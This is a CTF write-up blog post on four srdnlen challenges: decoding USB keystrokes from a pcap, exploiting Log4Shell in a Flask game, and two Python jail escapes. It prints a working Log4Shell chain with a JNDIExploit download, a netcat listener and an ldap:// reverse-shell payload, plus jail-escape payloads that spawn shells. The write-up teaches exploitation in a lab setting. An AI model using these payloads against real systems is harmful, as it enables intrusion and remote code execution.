This past weekend I competed in the srdnlen CTF with my team L3ak. There were a handful of challenges that I found fun enough to warrant a writeup, so here goes

Cheese with Friends

Cheese with Friends tells the story of what I can only assume was an LLM’s imagined experiences with Casu Martzu, a particularly gross variety of cheese from Sardinia, the home region of the team hosting this CTF.

The file we’re given is a pcap of USB data, along with a readme file that says

Solving this challenge, keep in mind that the blog post is been writed in a **`.txt` document** on **Visual Studio Code** on **Windows**, with **NUM LOCK enabled**.

Alright, makes sense. The first step was to figure out how to parse the pcap data as keystrokes. It wasn’t very hard to write a script for that using Python and TShark

import sys
from typing import Tuple

non_shift_map = {
    0x04: 'a', 0x05: 'b', 0x06: 'c' # you get the idea
}

shift_map = {
    0x04: 'A', 0x05: 'B', 0x06: 'C' # much longer
}

alt_code_map = {
    32: " ", 33: "!", 34: '"' # truncated
}

alt_chars = []
alt_pressed = False

prev_alt, prev_ctrl, prev_shift = False, False, False

def decode_hid_report(hid_hex: str, prev_scancodes: set) -> Tuple[str, set]:
    global alt_chars, alt_pressed,prev_alt, prev_ctrl, prev_shift
    hid_hex = hid_hex.replace(' ', '').replace(':', '')
    data = bytes.fromhex(hid_hex)
    if len(data) == 8:
        is_shift = (data[0] & 0x22) != 0
        is_alt = (data[0] & 0x44) != 0
        is_ctrl = (data[0] & 0x11) != 0
        current_scancodes = set(data[2:])
        output_chars = []
        for scancode in data[2:]:
            if scancode == 0 and not is_alt and alt_pressed:
                alt_pressed = False
                try:
                    char = alt_code_map.get(int(''.join(alt_chars)), f"[ALT {''.join(alt_chars)}]")
                except:
                    char = f"[ALT UNKNOWN {''.join(alt_chars)}]"

                alt_chars = []
            elif scancode in prev_scancodes:
                continue
            else:
                if is_shift and is_ctrl and is_alt:
                    char = f"[CTRL SHIFT ALT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
                elif is_shift and is_ctrl:
                    char = f"[CTRL SHIFT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
                elif is_shift and is_alt:
                    char = f"[SHIFT ALT + {non_shift_map.get(scancode,  f'{{{scancode:02x}}}')}]"
                elif is_alt and is_ctrl:
                    char = f"[CTRL ALT + {non_shift_map.get(scancode,  f'{{{scancode:02x}}}')}]"
                elif is_shift:
                    char = shift_map.get(scancode, f'[SHIFT + {{{scancode:02x}}}]')
                elif is_alt:
                    alt_pressed = True
                    alt_chars.append(non_shift_map.get(scancode, ''))
                    continue
                elif is_ctrl:
                    char = shift_map.get(scancode, f'[CTRL + {{{scancode:02x}}}]')
                else:
                    char = non_shift_map.get(scancode, f'{{{scancode:02x}}}')
                    if char == "[ENTER]":
                        char = "[ENTER]\n"
            prev_alt, prev_ctrl, prev_shift = is_alt, is_ctrl, is_shift
            output_chars.append(f"{char}")
        return ''.join(output_chars), current_scancodes
    else:
        print(data)

prev_scancodes = set()
output = []
for line in sys.stdin:
    line = line.strip()
    if not line:
        continue
    chars, prev_scancodes = decode_hid_report(line, prev_scancodes)
    output.append(chars)
print(''.join(output))

This does a couple things. It’s pretty similar to a script I used before for a different challenge, but I noticed pretty quickly that whoever was using this keyboard was using alt-codes to type most special characters (like apostrophes and quotes), which requires using some slightly more complicated logic.

This gave me an output that looked like this

[SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}]Blog #17[ENTER]
[ENTER]
Title: My Unsettling Encounter with Casu Martzu.[ENTER]
[ENTER]
I had always considered myself an adventurous eater, eager to try the world's most exotic delicacies.[ENTER]
When I visited Sardinia, the promise of experiencing Casu Martzu - the infamous "rotten cheese", teeming with live maggots - felt like a once-in-a-lifetime opportunity. This wasn't just food; it was a cultural ritual, steeped in tradition and controversy.[ENTER]
However, nothing could prepare me for the reality of facing that wiggling block of pecorino. As the host ceremoniously removed the covering, revealing the cheese alive with larvae, my confidence began to waver.[ENTER]
The smell hit first: a potent, ammonia-like aroma mixed with a hint of decay. My stomach tightened as I stared down at the challenge on my plate, unsure if I could muster the courage.[ENTER]
[ENTER]
When I finally worked up the nerve to take a bite, it was an experience like no other. The taste was a sharp assault on my senses: intensely tangy, rich, and bitter all at once.[ENTER]
I could feel a slight crunch that I tried hard to ignore. I told myself it was part of the cheese's crust, but deep down, I knew better.[ENTER]
To make matters more surreal, I had to constantly guard my plate because the larvae were capable of jumping several inches high. My dining companions laughed, calling it the "dancing cheese", but my nerves were frayed. It wasn't just a meal, it was a gauntlet.[ENTER]
[ENTER]
The texture, though creamy, was complicated by the knowledge of its tiny inhabitants. It seems like this:[ENTER]
*****$%***%*****$$%%$church%*$chu[ENTER]
*%*chu[ENTER]
%%$$chu[TAB]%%****$$chu[TAB]%*%*%*chu[ENTER]
**$$chu[ENTER]
%%$$chu[ENTER]
$$%$%%$$%%&$&$%$%%$$&$&$$chu[ENTER]
$$%$%%*$+$+&$$%$=$$+$%$=$&$&%&chu[TAB]$$&&chu[TAB]$+$$%$%%**$&$chu[ENTER]
&$&$&$&$&$+$%$=$$%$%%&chu[TAB]$$&+$chu[ENTER]
&%*%&chu[TAB]$$&&$chu[ENTER]
&=$=$$[ENTER]
**************$=%=************$$&chu[TAB]%%&******************$$+%+$$[ENTER]
[ENTER]
[BACKSPACE][UP][UP][UP]X[UP][UP][UP][CTRL SHIFT + k][END][ENTER]
[BACKSPACE][KP Up][KP Up][KP Up][KP Up][SHIFT ALT + 2][SHIFT ALT + 2][KP Up][SHIFT ALT + 8][SHIFT ALT + 8][CTRL SHIFT + 1][ENTER]
[BACKSPACE]|[LEFT]C[RIGHT][BACKSPACE][ENTER]
[BACKSPACE]H+[TAB]A/[CTRL ALT + [ENTER]][ESC][END][ENTER]
[ENTER]
Even hours later, I couldn't shake the feeling of Casu Martzu. The taste lingered in my mouth, and my mind replayed the scene like a slow-motion horror film.[ENTER]
Reflecting on it now, I'm not entirely sure if I regret the experience or cherish it for its sheer audacity.[ENTER]
This cheese is banned in many countries for safety reasons, and after trying it, I understand why. But in a strange way, I also respect the Sardinian people for preserving such a raw and unapologetic tradition.[ENTER]
Eating Casu Martzu was disconcerting, to say the least, but it was also an unforgettable reminder of how food can push the boundaries of culture, comfort, and even courage.[ENTER]
[ENTER]
by @Church[ENTER]

I removed a fair amount of the nonsense-looking bits in the middle. It’s somewhat obvious that this is supposed to be ASCII-art of some sort, but how exactly it’s typed and rendered I still had no idea. After trying to type those characters myself, I also realized pretty fast that VSCode-isms such as turning chu+[ENTER] into church if church was already typed would result in this output being much different than it looked like parsed as string data from the pcap.

Instead of trying to do it by hand, I realized that a better way to accomplish my goal would probably be to simply replay the keystrokes into my own VSCode window and see what happened. Doing that was pretty easy after having extracted the keycodes already

import keyboard, time

USAGE_TO_KEY = {
    0x04: 'a',
    0x05: 'b',
    ...
    0x5E: 'num 6',
    0x5F: 'num 7',
    0x60: 'num 8', # lots more
}

alt_code_map = {
    32: " ", 33: "!", 34: '"' # symbolz
}

def parse_modifiers(mod_byte):
    mods = set()
    if mod_byte & 0x01:
        mods.add('left ctrl')
    if mod_byte & 0x02:
        mods.add('left shift')
    if mod_byte & 0x04:
        mods.add('left alt')
    if mod_byte & 0x08:
        mods.add('left windows')
    if mod_byte & 0x10:
        mods.add('right ctrl')
    if mod_byte & 0x20:
        mods.add('right shift')
    if mod_byte & 0x40:
        mods.add('right alt')
    if mod_byte & 0x80:
        mods.add('right windows')
    return mods

def parse_hid_report(report_bytes):
    if len(report_bytes) != 8:
        raise ValueError
    
    mod_byte = report_bytes[0]
    key_bytes = report_bytes[2:]
    
    mods = set(parse_modifiers(mod_byte))
    pressed = set()
    for usage_code in key_bytes:
        if usage_code != 0:
            if usage_code in USAGE_TO_KEY:
                pressed.add(USAGE_TO_KEY[usage_code])
            else:
                print(f"bad code 0x{usage_code:02X}")
    return pressed, mods

alt_pressed = False
alt_list = []
raw_alt_list = []

def replay_hid_reports(lines_of_hex, t=0.03):
    global alt_pressed, alt_list,raw_alt_list
    old_pressed = set()
    old_keys = set()
    index = 0
    for hex_line in lines_of_hex:
        if index > 6100:
            time.sleep(t)
        else:
            time.sleep(0.01)
        index += 1
        hex_line = hex_line.strip()
        if not hex_line:
            continue
        report_bytes = bytes.fromhex(hex_line)
        r = parse_hid_report(report_bytes)
        new_pressed = r[1]
        new_keys = r[0]

        print(f"{index}: {new_pressed}, {new_keys}")

        if index > 6698:
            return

        if len(new_pressed) == 1 and all(["alt" in i for i in new_pressed]) and (len(new_keys) > 0 or alt_pressed==True):
            alt_pressed = True
            [alt_list.append(''.join(k for k in j if k.isnumeric())) for j in new_keys]
            [raw_alt_list.append(j) for j in new_keys]
        else:
            if alt_pressed:
                alt_pressed = False
                val = ''.join(alt_list)
                try:
                    val = int(val)
                    charpoint = alt_code_map[val]
                    new_keys = set()
                    new_keys.add(charpoint)
                    for key in old_pressed - new_pressed:
                        keyboard.release(key)
                    for key in old_keys - new_keys:
                        keyboard.release(key)
                    keyboard.write(charpoint)
                    alt_list = []
                    raw_alt_list = []
                    continue
                except:
                    alt_list = []
                    raw_alt_list = []
                    if raw_alt_list == ['num enter']:
                        keyboard.send('alt+enter')
                    raw_alt_list = []

        for key in old_pressed - new_pressed:
            keyboard.release(key)

        for key in new_pressed - old_pressed:
            keyboard.press(key)

        for key in old_keys - new_keys:
            keyboard.release(key)

        for key in new_keys - old_keys:
            keyboard.press(key)
        
        old_pressed = new_pressed
        old_keys = new_keys

with open("hex.txt") as f:
    data = f.readlines()
datas = [d.split() for d in data]
hexes = [h[0] for h in datas]
time.sleep(2)
print("STARTING")
replay_hid_reports(hexes[0:])

Running this code worked most of the way, but a lot of the hotkeys towards the end didn’t end up being anywhere near consistent enough for my to be confident in their output, so I ended up stopping the script right as it got to that point to do the rest by hand. Here’s a video of it working

I spent a while trying to automate the rest of the keys too, but after here there were only a few hundred more keystrokes of importance to look through, so I decided to do them by hand. I summarized what the various hotkeys and shortcuts do here

delete line 20 (cut)
delete line 17 (ctrl shift k)
go to end
arrow up 4 lines
shift alt 2 (twice)
shift 8
shift alt 8 (twice)
go to end
enter backspace
type pipe char, copy it, delete it
find/replace all + with /
go to end
find/replace all = with \
go to end
find/replace all & with | from clipboard
go to end
type church, ctrl f2 to select all, replace with triple underscore, delete last triple underscore
type %, find/replace all with _, go to end, delete last _
jump to start of line 19
select $, find/replace all with a single space
jump to end
jump to start of line 15
select and replace all * with 3 spaces

I clearly got something a bit wrong, because after these I had something that looked like it should be ASCII art, but was a bit jumbled. Based on context clues I shuffled the rows around myself, and was met with the flag.

cheese flag!!!

srdnlen{R0t73n_5H0r7Cu75}

Sparkling Sky

On first look, this challenge is a Flask application that runs some sort of “game” where a player can move a bird around a playing field.

10 birds on a playing field

The challenge description gives the credentials user1337:user1337 to log into the web app. Upon doing so, I was greeted by a message saying “you are #36” in the queue. Refreshing the page, the number seemed to jump around wildly. I couldn’t find any way to actually “play” the game. Looking through the code for what was going on, I found this.

@bp.route('/play')
@login_required
def play():
    current_players = User.query.filter_by(is_playing=True).with_entities(User.id).all()
    current_players = [user_id[0] for user_id in current_players]
    userID = int(current_user.get_id())
    if userID in current_players:
        return render_template('play.html')
    else:
        return render_template("spectate.html", position=randint(1, 300))

It seems that if we’re not a “current player”, the game gives us a random number as a spectator index, and renders the spectating page instead of the player page. Looking for places where is_playing is set, the only place seems to be in utils.py

def init_db():
    if User.query.first() is None:
        for i in range(10):
            username = 'user' + str(userID())
            password = ''.join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(16))
            user = User(username=username, password=password, color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']), is_playing=True)
            db.session.add(user)
            db.session.commit()
        user = User(username='user1337', password='user1337', color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']))
        db.session.add(user)
        db.session.commit()

This seems to create 10 players with random usernames and passwords, as well as our spectator user. There’s no reasonable way for us to recover these, so I didn’t waste time trying.

Another interesting thing I saw was the file anticheat.py, which had the following function

def analyze_movement(user_id, new_x, new_y, new_angle):

    global user_states

    # Initialize user state if not present
    if user_id not in user_states:
        user_states[user_id] = {
            'last_x': new_x,
            'last_y': new_y,
            'last_time': time.time(),
            'violations': 0,
        }

    user_state = user_states[user_id]
    last_x = user_state['last_x']
    last_y = user_state['last_y']
    last_time = user_state['last_time']

    # Calculate distance and time elapsed
    distance = math.sqrt((new_x - last_x)**2 + (new_y - last_y)**2)
    time_elapsed = time.time() - last_time
    speed = distance / time_elapsed if time_elapsed > 0 else 0
    print(speed)
    # Check for speed violations
    if speed > MAX_SPEED:
        return True

    # Update the user state
    user_states[user_id].update({
        'last_x': new_x,
        'last_y': new_y,
        'last_time': time.time(),
    })

    return False

Clearly this is used for something, there wouldn’t be a point to including it in a tiny challenge like this if it wasn’t important. More importantly, however, was something above the function at the top of the file

from pyspark.sql import SparkSession

log4j_config_path = "log4j.properties"

spark = SparkSession.builder \
    .appName("Anticheat") \
    .config("spark.driver.extraJavaOptions",
            "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
    .config("spark.executor.extraJavaOptions",
            "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
    .getOrCreate()

logger = spark._jvm.org.apache.log4j.LogManager.getLogger("Anticheat")

def log_action(user_id, action):
    logger.info(f"User: {user_id} - {action}")

Seeing the letters log4j next to each other in any sort of CTF context is an immediate red flag which makes me stop and think quite hard about if anything involved is vulnerable to log4shell, one of the most impactful and widely-exploited CVEs in recent history. I went and checked the Dockerfile to see what was up, and saw this

RUN cd $(python -c "import os, pyspark; print(os.path.dirname(pyspark.__file__))")/jars && \
    rm log4j* && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-slf4j-impl/2.14.1/log4j-slf4j-impl-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-1.2-api/2.14.1/log4j-1.2-api-2.14.1.jar

2.14.1 is explicitly a vulnerable version of log4j, as stated by a security notice in a blog post discussing how to use log4j with pyspark. So, this was clearly what the vulnerability was, now to find out how to exploit it. I looked for references to log_action and found a single candidate that had unsanitized used input involved

    @socketio.on('move_bird')
    @login_required
    def handle_bird_movement(data):
        user_id = data.get('user_id')
        if user_id in players:
            del data['user_id']
            if players[user_id] != data:
                with lock:
                    players[user_id] = {
                        'x': data['x'],
                        'y': data['y'],
                        'color': 'black',
                        'angle': data.get('angle', 0)
                    }
                    if analyze_movement(user_id, data['x'], data['y'], data.get('angle', 0)):
                        log_action(user_id, f"was cheating with final position ({data['x']}, {data['y']}) and final angle: {data['angle']}")
                        print("cheating")
                        # del players[user_id] # Remove the player from the game - we are in beta so idc
                    emit('update_bird_positions', players, broadcast=True)

The Flask server has a websocket component, and this is a part of that. When a player (not a spectator) is marked as “cheating” (moving too fast) by the anticheat function, it writes their information to the log. I took a look around at the rest of the code, and there didn’t seem to be any sort of validation whatsoever on the contents of data['angle'], so that looked like my target.

It took a second to notice, but this endpoint requires a login, but does not check who the player is currently logged in as. Anyone with an account can move any player, including our specator account. I considered trying to write a websocket solve script in Python, but realized pretty quickly that just using the preexisting socketio symbols in the Chrome devtools console would be a lot easier.

This code was in the frontend Javascript

const socket = io();

I defined the following function

function payload(a){
    socket.emit('move_bird', {user_id: 2, x: 0, y: 0, angle: "0"});
    socket.emit('move_bird', {user_id: 2, x: 100000, y: 100000, angle: a});
}

Which would take a payload string and trigger an anticheat event with it such that the angle was written to logs. I then took a look at the hacktricks page to figure out how to actually exploit log4shell.

I followed these steps on one of my servers with a public IP

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <my ip> -p 8888

...
nc -l 1337

It was then a super easy matter of setting my payload to ldap://<my ip>:1389/Basic/ReverseShell/<also my ip>/<1337> and translating player 2’s bird much more rapidly than permitted.

There were some issues with the remote challenge here which resulted in me trying a few different things locally first, but this did end up being the correct solution anyways. Upon running it, I got my shell which let me easily locate and exfiltrate the flag. As I write this the remote challenge is having issues again so I’m unable to get a screenshot of the proper flag, but the exploit did in fact work.

SSPJ

Opening the challenge files, we’re met with what appears to be a fairly standard pyjail

import random

class SSPJ(object):
    def __init__(self):
        print("Welcome to the Super Secure Python Jail (SSPJ)!")
        print("You can run your code here, but be careful not to break the rules...")

        self.code = self.code_sanitizer(input("Enter your data: "))

        # I'm so confident in my SSPJ that 
        # I don't even need to delete any globals/builtins
        exec(self.code, globals())
        return

    def code_sanitizer(self, code: str) -> str:
        if not code.isascii():
            print("Alien material detected... Exiting.")
            exit()

        banned_chars = [
            # Why do you need these characters?
            "m", "o", "w", "q", "b", "y", "u", "h", "c", "v", "z", "x", "k"
        ]

        banned_digits = [
            # Why do you need these digits?
            "0", "7", "1"
        ]

        banned_symbols = [
            # You don't need these...
            ".", "(", "'", "=", "{", ":", "@", '"', "[", "`"
        ]

        banned_words = [
            # Oh no, you can't use these words!
            "globals", "breakpoint", "locals", "self", "system", "open",
            "eval", "import", "exec", "flag", "os", "subprocess", "input",
            "random", "builtins", "code_sanitizer"
        ]

        blacklist = banned_chars + banned_digits + banned_symbols + banned_words
        random.shuffle(blacklist)

        if any(map(lambda c: c in code, blacklist)):
            print("Are you trying to cheat me!? Emergency exit in progress.")
            exit()

        return code.lower()

if __name__ == "__main__":
    SSPJ()
RUN mv flag.txt flag-$(head /dev/urandom | md5sum | cut -d ' ' -f 1).txt
...
ENTRYPOINT ["socat", "-t", "300", "-T", "30", "TCP-LISTEN:1717,reuseaddr,nodelay,fork", "EXEC:python3 sspj.py"]

The Dockerfile tells us that the flag is in a randomly named file on the host, meaning that a shell on the remote system is our most likely goal.

Observing the challenge code, we can see that it bans non-ASCII, certain words, symbols, digits, and letters. Notably, __globals__ do still exist in the eval context, which makes things a lot easier. One of the first things I noticed is that code_sanitizer performs a lower() on the input string, but only after the blacklist check happens. This effectively means that there are no banned letters, because we can just sub in uppercase chars for lowercase ones. The easiest way to get a shell in Python without assignments, indexes, or direct function calls is with the import a from b as c syntax.

The following payload was nearly immediately the obvious solution

FROM OS IMPORT SYSTEM AS __GETATTR__; FROM __MAIN__ IMPORT SH

Running this on remote did in fact give a shell, with which I could fairly easily ls and cat the flag. The below screenshot is from my local instance, because the challenge infrastructure was taken down before I got a chance to write it up. As a bonus, my team got first blood on this challenge, which always feels nice.

running the sspj program locally and searching for the flag after getting a shell

Another Impossible Escape

The second and final pyjail of this CTF, this one was a fair bit harder. The challenge code (sans some needless decoration) was as follows

import sys
import re

FLAG = "srdnlen{REDATTO}"
del FLAG

class IE:
    def __init__(self) -> None:
        print("Welcome to another Impossible Escape!")
        print("This time in a limited edition! More information here:", sys.version)

        self.try_escape()
        return

    def code_sanitizer(self, dirty_code: str) -> str:
        if len(dirty_code) > 60:
            print("Code is too long. Exiting.")
            exit()

        if not dirty_code.isascii():
            print("Alien material detected... Exiting.")
            exit()

        banned_letters = ["m", "w", "f", "q", "y", "h", "p", "v", "z", "r", "x", "k"]
        banned_symbols = [" ", "@", "`", "'", "-", "+", "\\", '"', "*"]
        banned_words = ["input", "self", "os", "try_escape", "eval", "breakpoint", "flag", "system", "sys", "escape_plan", "exec"]

        if any(map(lambda c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
            print("Are you trying to cheat me!? Emergency exit in progress.")
            exit()

        limited_items = {
            ".": 1,
            "=": 1,
            "(": 1,
            "_": 4,
        }

        for item, limit in limited_items.items():
            if dirty_code.count(item) > limit:
                print("You are trying to break the limits. Exiting.")
                exit()

        cool_code = dirty_code.replace("\\t", "\t").replace("\\n", "\n")
        return cool_code

    def escape_plan(self, gadgets: dict = {}) -> None:
        self.code = self.code_sanitizer(input("Submit your BEST Escape Plan: ").lower())
        retval = eval(self.code, {"__builtins__": {}}, gadgets)
        # print(gadgets)
        return retval

    def try_escape(self) -> None:
        tries = max(1, min(7, int(input("How many tries do you need to escape? "))))

        for _ in range(tries):
            self.escape_plan()

        return

if __name__ == "__main__":
    print(__file__)
    with open(__file__, "r") as file_read:
        file_data = re.sub(r"srdnlen{.+}", "srdnlen{REDATTO}", file_read.read(), 1)

    with open(__file__, "w") as file_write:
        file_write.write(file_data)

    IE()

We weren’t given any Dockerfile for this challenge, upon running the program does print out its exact version (3.12.4) which made finding gadgets easier.

At a first glance, we can see

  • We’re given 7 tries to evaluate code in an environment without the standard globals or builtins
  • There are a fair number of banned symbols, and no easy way to cheese them like in the previous challenge
  • The maximum length of an input is 60, and each input is only allowed a single attribute (.), call (()), assignment (=), and dunder (__x__)
  • The local variables created during one evaluation persist across the rest through the gadgets dictionary
  • The flag is written at the top of the file as a string, but promptly deleted, and then the challenge file is overwritten on disk, such that simply reading the file contents won’t help

While somewhat tedious to work with, it is possible to recover deleted variables in Python in certain contexts using a method like this

import inspect

f = inspect.currentframe()
while f.f_back:
    f = f.f_back

print(f.f_code.co_consts)

Doing this does, of course, require a fair amount of nonexistent builtins and banned letters, so we’ll have to be a bit smarter about it.

Tragically, r is one of our banned characters, so we can’t call the required import directly, meaning we need some way to build strings to access it indirectly instead.

The easiest way to do this in an incredibly limited environment like this one is to use the __doc__ attribute of certain classes. Again, we’re not allowed the letter r, so we can’t chr() and ord(), string literals are banned because of not allowing quotes, and we’re not given any strings to start off with. The way to create an object without builtins is to use literals, generally speaking (1) for an int, () for a tuple, [] for a list, {1} for a set, {} for a dict, and "" for a string (but obviously the latter is irrelevant here). For my purposes, I found the dict class most useful. Using up only one of our seven shots, I can get a pretty decent string to work with by evaluating

[b:={}.__doc__]

Notably, we need to use the assignment operator from inside a list here instead of just a simple = because our code is evaluated, not executed, meaning the expression needs to result in something. After doing this, the value of b in our gadgets context is

dict() -> new empty dictionary
dict(mapping) -> new dictionary initialized from a mapping object's
    (key, value) pairs
dict(iterable) -> new dictionary initialized as if via:
    d = {}
    for k, v in iterable:
        d[k] = v
dict(**kwargs) -> new dictionary initialized with the name=value pairs
    in the keyword argument list.  For example:  dict(one=1, two=2)

This provides us enough to build the string for breakpoint without too much trouble. breakpoint is the first thing I usually shoot for in these sorts of challenges where we need to escape the jail but still remain inside the Python interpreter, because (in modern Python) it’s a builtin, which is usually much easier to get to than other modules.

The standard way to recover builtins in sandboxes like this is to take any class, traverse back to the object base class with __base__, and then identify a __subclass__ that still has builtins defined, usually on the __init__ method. Because of both the 60 char line limit and only being allowed to fetch one attribute each time, I needed to do this in parallel with building my string. It took me a bit to figure out a working method, but this ended up fitting my needs fairly well.

[b:={}.__doc__]
[a:=[().__class__,b[11],b[40:42],b[104],b[27]]]
[c:=[a[0].__base__,b[16],b[25],b[3],b[0:0]]]
[d:=[c[0].__subclasses__(),b[132:153:20]]]
[e:=[d[0][100].__init__]]
[g:=c[4].join([d[1],a[1],a[4],a[3],c[1],c[2],a[2],c[3]])]

It’s important here to put the slices of our docstring on earlier lines, because they won’t all fit in the join normally. Doing it like this lets me access a character string with only 4 of my 60 allower characters, as opposed to the 5 or 6 it would normally take with a 2 or 3 digit index. Additionally, this lets me slice multiple letters at a time where possible, such as b[40:42] to get in, and b[132:153:20] to get br. b[0:0] is just an empty string that lets me use join() effectively. I could have condensed more of them, but that didn’t end up being needed. The [100]‘th subclass here doesn’t actually matter, it just so happened to be one of the subclasses with an __init__ that worked for my needs. After assembling both __init__ and breakpoint in only 6 lines, the next step is to actually call breakpoint. My first try looked like this

e[0].__builtins__[g]()

This accesses the __builtins__ attribute (a dictionary) of __init__, and uses the string breakpoint as an index to find its code object, which we can then execute with parentheses. Sadly, when I tried this it crashed with

    [a:=e[0].__builtins__,a[g[0]]()]
KeyError: '__import__'

This happens because breakpoint() ends up calling import behind the scenes, which as a reminder doesn’t exist anymore because of our wiped builtins. It would almost work to replace the 6th and 7th lines of my exploit with

[g:=[c[4].join([d[1],a[1],a[4],a[3],c[1],c[2],a[2],c[3]]),e[0].__builtins__]]
[__builtins__:=g[1],g[1][g[0]]()]

Except for the fact that this both makes the 6th line 80 chars too long, and it uses two .’s. I tried for a while to sneak the dot from line 6 back into line 7, but to no avail. When I cheated and tested with an 8th intermediary line __builtins__ = e[0].__builtins__ it worked in my test program with a wiped __builtins__, but I ended up still getting the same import issue when running it in the actual eval prompt. I decided to give up on this and take a look at what else I could do instead.

The next thing I thought to try here was seeing if there was any way I could get more than 7 eval attempts. If I could, it would vastly increase my options for building strings and recovering functions. IE is a class that calls the jail method in its __init__, so if I could instantiate another one of those it would reset my 7 attempts. Helpfully knowing that this is being run on python 3.12.4, I was able to fairly easily figure out how to get it with an index.

[b:={}.__doc__]
[a:=[().__class__]]
[c:=[a[0].__base__]]
[d:=[c[0].__subclasses__()]]
[e:=[d[0][218]]]

e[0]()

Doing this resets our prompt for another 7 tries, but important keeps our gadgets intact. I tried messing around to see what I could do with this for a bit, and eventually a teammate and I decided on code.inspect via help() being the most fruitful.

We used a similar technique to what I’ve already described, but we targeted help() instead of breakpoint(), which then let us import code.interact

[a:=().__class__]
[b:=a.__base__]
[c:=b.__subclasses__()]
[d:=c[{158}]()]
[e:=d()]

calling the help console and finding code.interact

After doing this, we used the same strategy as before to call IE() to reset our attempts

[g:=c[{218 + mod}]()]

After which we could build out a string for interact and call it as such

[i:=b.__subclasses__()[281]]
[j:=i.__subclasses__()[0]]
[l:=j.__init__]
[ins:=(1).__doc__]
[s:=[ins[521:526],ins[445:447],ins[2]]]
[s:=ins[0:0].join(s)]
[n:=l.__globals__[s]()]

This gives us an interactive repl with builtins and globals recovered fully. From here it was a very shrimple process to run

import inspect

f = inspect.currentframe()
while f.f_back:
    f = f.f_back

print(f.f_code.co_consts)

Which printed out the flag exactly like we expected.

the exploit running on remote, printing out the flag from memory